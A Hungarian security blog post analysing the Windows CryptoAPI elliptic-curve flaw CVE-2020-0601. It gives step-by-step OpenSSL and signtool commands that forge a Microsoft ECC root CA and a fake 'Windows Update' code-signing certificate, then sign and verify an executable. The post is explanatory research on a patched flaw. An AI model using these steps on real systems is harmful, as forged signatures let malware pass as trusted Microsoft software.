Kormányablak, Ügyfélkapu, magyarorszag.hu, kormany.hu
KORMÁNYABLAK, ÜGYFÉLKAPU - A ZÁRT AJTÓK MÖGÖTT...
(nem hivatalos e-kormányzati témájú oldal)
  
BEMUTATKOZÁS 
E-KÖZIGAZGATÁS 
IT BIZTONSÁG 
  
































  Mottó:
Vannak minden mennyiségben
stricik, kurvák, rapperek,
menő srácok hóna alatt
Kalasnyikov fegyverek.
/Alvin és a Mókusok: 1976/
2020. március 30.  
 ECDSA: Előre curve-ák, gengszterek! 
   
2020-01-14. Ezen a napon lett nyilvános a 2019-11-04-én bejegyzett CVE-2020-0601 jegy. A jegy, ami megmutatta, hogy az elliptikus curve-ák (görbék) és az ECDSA még mindig kevésbé ismertek a fejlesztők számára, mint az RSA, ezért 9 évvel a Sony PlayStation 3 fiaskója után (amikor az ECDSA aláírásoknál beégetett random értékeket használtak és emiatt a titkos kulcsok könnyen kipotyogtak: ez egyébként tanpélda lett több helyen) még napjainkban is lehet elkövetni szarvashibákat ezzel kapcsolatban. (Természetesen, nem kell, hogy mindenki ilyen mélységben értsen a témához, de az a néhány cég, ami crypto library-t ír, annak olyan fejlesztőket és matematikusokat kell foglalkoztatnia, akik a tesztelés, code review során ki kell, hogy szűrjenek ilyen hibákat.)

De, mi is történt? A CVE jegy leírásából az derült ki, hogy a Windows 10, Windows Server 2016 és 2019 rendszereknél a Windows CryptoAPI (crypt32.dll) az elliptikus görbéket használó tanúsítványláncok ellenőrzésénél becsapható. A becsapható tanúsítványlánc-építés mondjuk nem akkora újdonság, hiszen pont a magyar e-közigazgatásban a KGYHSZ (Közigazgatási Gyökér Hitelesítés-Szolgáltató) kapcsán már láttunk ilyet: a Windows CryptoAPI ugyanis korábban kizárólag Issuer/Subject commonName (CN) elemek alapján követte végig a végtanúsítványtól a megbízható harmadik félig (trusted root CA) a láncot. A KGYHSZ-t, illetve a hazai megoldásszállítókat és felhasználókat azért érintette ez érzékenyen, mert a KGYHSZ régebbi és újabb tanúsítványa ugyanazt az Issuer/Subject commonName (CN) értéket tartalmazta: "KGYHSZ (Public Administration Root CA - Hungary)". Még ezzel sem lett volna gond, de mivel a felhasználóknál mindkét, azonos nevű, de eltérő kulccsal rendelkező CA tanúsítványt kellett telepíteni, ezért a korábbi Windows operációs rendszerek rendre rosszul építették fel a tanúsítványláncokat. A hazai megoldásszállítóknak ezért saját tanúsítványlánc-építési logikát kellett faragnia, ami a kriptográfiát is figyelembe vette: arra a KGYHSZ tanúsítványra ellenőrizték a láncot, amelyiknek a kulcsával jók voltak az aláírások az alsóbb szintű tanúsítványokon (Windows CryptoAPI workaround). Annyit halkan megjegyzek, hogy ha még a kriptográfiai kulcsok is azonosak lettek volna a nevek mellett (mert pl. csak tanúsítványmegújítást hajtanak végre a KGYHSZ-nél), akkor még ez a workaround is kevés lett volna...

OK, és mit jelent az, hogy becsapható a tanúsítványlánc-építés? Az esetet elemezgető blogokból (pl. Trail of Bits) az derült ki, hogy a Windows CryptoAPI (crypt32.dll) nem vette figyelembe egy adott elliptikus görbéhez rendelt (NIST FIPS PUB 186-4 szabványban meghatározott) "G generator/base point" értéket, azaz itt bemondásra más (pl. a támadó által megadott) [x,y] koordinátát is elfogadott, ami kriptográfiailag helyes volt.

Mi a "G generator/base point" szabványos érték a pl. NIST P-384 neves görbénél?

A szabvány (NIST FIPS PUB 186-4) szerint a NIST P-384 görbének ezek a paraméterei:

A szabvány (NIST FIPS PUB 186-4) szerint a NIST P-384 görbének ezek a szabályai a kulcsok létrehozásánál:

OK, és akkor hogy lehet kihasználni a sérülékenységet? Egyáltalán, mennyire érint ez bárkit is? Nos, amióta minden telepítésnél kriptográfiailag ellenőrzi az operációs rendszer, hogy megbízható forrásból jön-e és sértetlen-e a Windows alkalmazás, Android/iOS app, azóta fontos, hogy a fejlesztők által használt code signing elektronikus aláírások és tanúsítványok ellenőrzése (a tanúsítványlánc-építést is beleértve) jó legyen. Ugyanez fontos akkor is, amikor védett csatornán (SSL/TLS) keresztül nyitunk meg egy oldalt a böngészőben. De én most inkább maradnék a code signing téma elemzésénél...

A code signing tanúsítványokkal létrehozott elektronikus aláírások ugyan mindenféle alkalmazás védelménél szükségesek és hasznosak, viszont ezek közül is kiemelkednek az operációs rendszert érintő frissítések. Korábban már láttuk a Flame/sKyWIper kapcsán is, hogy mit jelenthet az, ha valaki támadó pl. módosított, malware-rel kiegészített Windows Update-eket tud az áldozatok gépén telepíttetni. Nos, ugyanerre ad lehetőséget a jelen CVE-2020-0601 jegyben leírt sérülékenység is.

Ahhoz, hogy a sérülékenységet ki lehessen használni, először is keresni kell a Windows Certificate Store-ban a trusted root CA-k között egy olyat, amit elliptikus görbe véd. Erre pont jó a "Microsoft ECC Product Root Certificate Authority 2018" nevű, amin "ECDSA_P384" görbén alapuló "sha384ECDSA" elektronikus aláírás van.

Ezen trusted root CA alapján létre kell hozni a saját (fake) trusted root CA-nkat! Ennek első lépése, hogy tetszőleges paraméterekkel létre kell hozni egy kulcspárt pl. OpenSSL segítségével, minta gyanánt pedig érdemes kinyerni a "Microsoft ECC Product Root Certificate Authority 2018" nevű tanúsítványból a nyilvános kulcsot.
openssl x509 -in Microsoft_ECC_Product_Root_Certificate_Authority_2018.cer -text -noout
openssl ecparam -name secp384r1 -genkey -noout -out Microsoft_ECC_Product_Root_Certificate_Authority_2018_fake_private_key.txt -param_enc explicit
Ha ez megvan, akkor módosítani kell a paramétereket: át kell írni a titkos kulcsot, a nyilvános kulcsot és a "G generator/base point" értéket (az utóbbiakat a tanúsítványban)! Mivel a "G generator/base point" értékét a támadó választhatja meg, a szabvány (NIST FIPS PUB 186-4) szerint pedig a nyilvános kulcs Q = d * G, ezért a nyilvános kulcs és a "G generator/base point" lehet akár azonos is (Q = G), amihez a titkos kulcs d = 1 érték társul (erre a szabvány lehetőséget ad, hiszen "The generated private key d is in the range [1, n-1].").

A módosított tanúsítványt alá kell írni a módosított titkos kulccsal!
openssl req -key Microsoft_ECC_Product_Root_Certificate_Authority_2018_fake_private_key.txt -config openssl-root.conf -days 3653 -new -out Microsoft_ECC_Product_Root_Certificate_Authority_2018_fake.cer -x509 -set_serial 0x14982666dc7ccd8f4053677bb999ec85 -subj "/C=US/ST=Washington/L=Redmond/O=Microsoft Corporation/CN=Microsoft ECC Product Root Certificate Authority 2018"
A saját (fake) trusted root CA-nk tanúsítványa elkészült, akár össze is lehet vetni az eredeti, "Microsoft ECC Product Root Certificate Authority 2018" nevű tanúsítvánnyal.

A saját (fake) trusted root CA-nk tanúsítványával és az ahhoz tartozó titkos kulccsal pedig ki lehet adni (alá lehet írni) egy code signing tanúsítványt is!
openssl ecparam -name prime256v1 -genkey -noout -out Windows_Update_code_signing_private_key.txt
openssl req -key Windows_Update_code_signing_private_key.txt -config openssl-user_code_signing.conf -days 1826 -new -out Windows_Update_code_signing.csr -subj "/C=US/ST=Washington/L=Redmond/O=Microsoft Corporation/CN=Windows Update code signing"
openssl x509 -req -in Windows_Update_code_signing.csr -CA Microsoft_ECC_Product_Root_Certificate_Authority_2018_fake.cer -CAkey Microsoft_ECC_Product_Root_Certificate_Authority_2018_fake_private_key.txt -CAcreateserial -out Windows_Update_code_signing.cer -days 1826 -extfile test-user_code_signing.ext
openssl pkcs12 -export -in Windows_Update_code_signing.cer -inkey Windows_Update_code_signing_private_key.txt -certfile Microsoft_ECC_Product_Root_Certificate_Authority_2018_fake.cer -out Windows_Update_code_signing.p12
A "Microsoft Windows SDK for Windows 7 and .NET Framework 4" csomagban található "signtool.exe" segítségével alá lehet írni egy alkalmazást! (Az egyszerűség kedvéért végül nem egy *.msu Windows Update állományt kerestem, hanem magát a "signtool.exe" segédalkalmazást használtam fel.)
"C:\HACK\CVE-2020-0601\signtool.exe" sign /tr http://timestamp.globalsign.com/scripts/timestamp.dll /td sha256 /fd sha256 /f "C:\HACK\CVE-2020-0601\Windows_Update_code_signing_1234.p12" /p 1234 "C:\HACK\CVE-2020-0601\signtool_Aron.exe"
Ha ezen saját (fake) trusted root CA-nk alá tartozó code signing kulccsal aláírt állományt egy sérülékeny Windows 10, Windows Server 2016 vagy 2019 rendszeren akarjuk elindítani, akkor az operációs rendszer először elvégzi az elektronikus aláírás ellenőrzését, és csak siker esetén folytatja a futtatást (pl. az alkalmazás, Windows Update telepítését vagy a böngészőben az SSL/TLS révén védett oldal megnyitását).
"C:\HACK\CVE-2020-0601\signtool.exe" verify /pa "C:\HACK\CVE-2020-0601\signtool_Aron.exe"

A "Successfully verified" üzenet szerint a sérülékenység kihasználása sikerült...

Megjegyzés:
Bár, az szépen látszik, hogy valóban sikeresnek mondja a tanúsítványlánc-építést egy sérülékeny Windows a nem szabványos paraméterekkel, módosított "G generator/base point" értékkel rendelkező, saját (fake) trusted root CA-nkkal is, azaz a sérülékenység létezik és kihasználható. Azt azonban hozzá kell tennem, hogy nem sikerült minden szempontból reprodukálnom az esetet, mert elvileg az áldozat gépén a támadónak elég lenne csak betöltenie, betöltetnie a memóriába a saját (fake) trusted root CA tanúsítványt, nem kell telepítenie, telepíttetnie (import) a Windows Certificate Store-ba. Hogy nálam mi lehetett a baj a memóriakezeléssel? Passz. Lehetett oka az, hogy a többi blog írója Windows 10 operációs rendszert használt, nálam meg egy Windows Server 2019 állt rendelkezésre. Lehetett oka az, hogy mivel távoli asztallal (RDP) léptem be - ami becsatornázza a helyi gép Windows Certificate Store-ját is - lehet, hogy összekeveredtek a memóriába betöltött tanúsítványok. Lehetett oka az, hogy a tanúsítványok adattartalma nem volt megfelelő (az ugyanis látszott, hogy pl. az authorityKeyIdentifier bepakolásakor más üzeneteket dobott a rendszer). Szóval, passz.

Kapcsolódó anyagok:
 vissza 
   
  info@kormanyablak.org
info@ugyfelkapu.info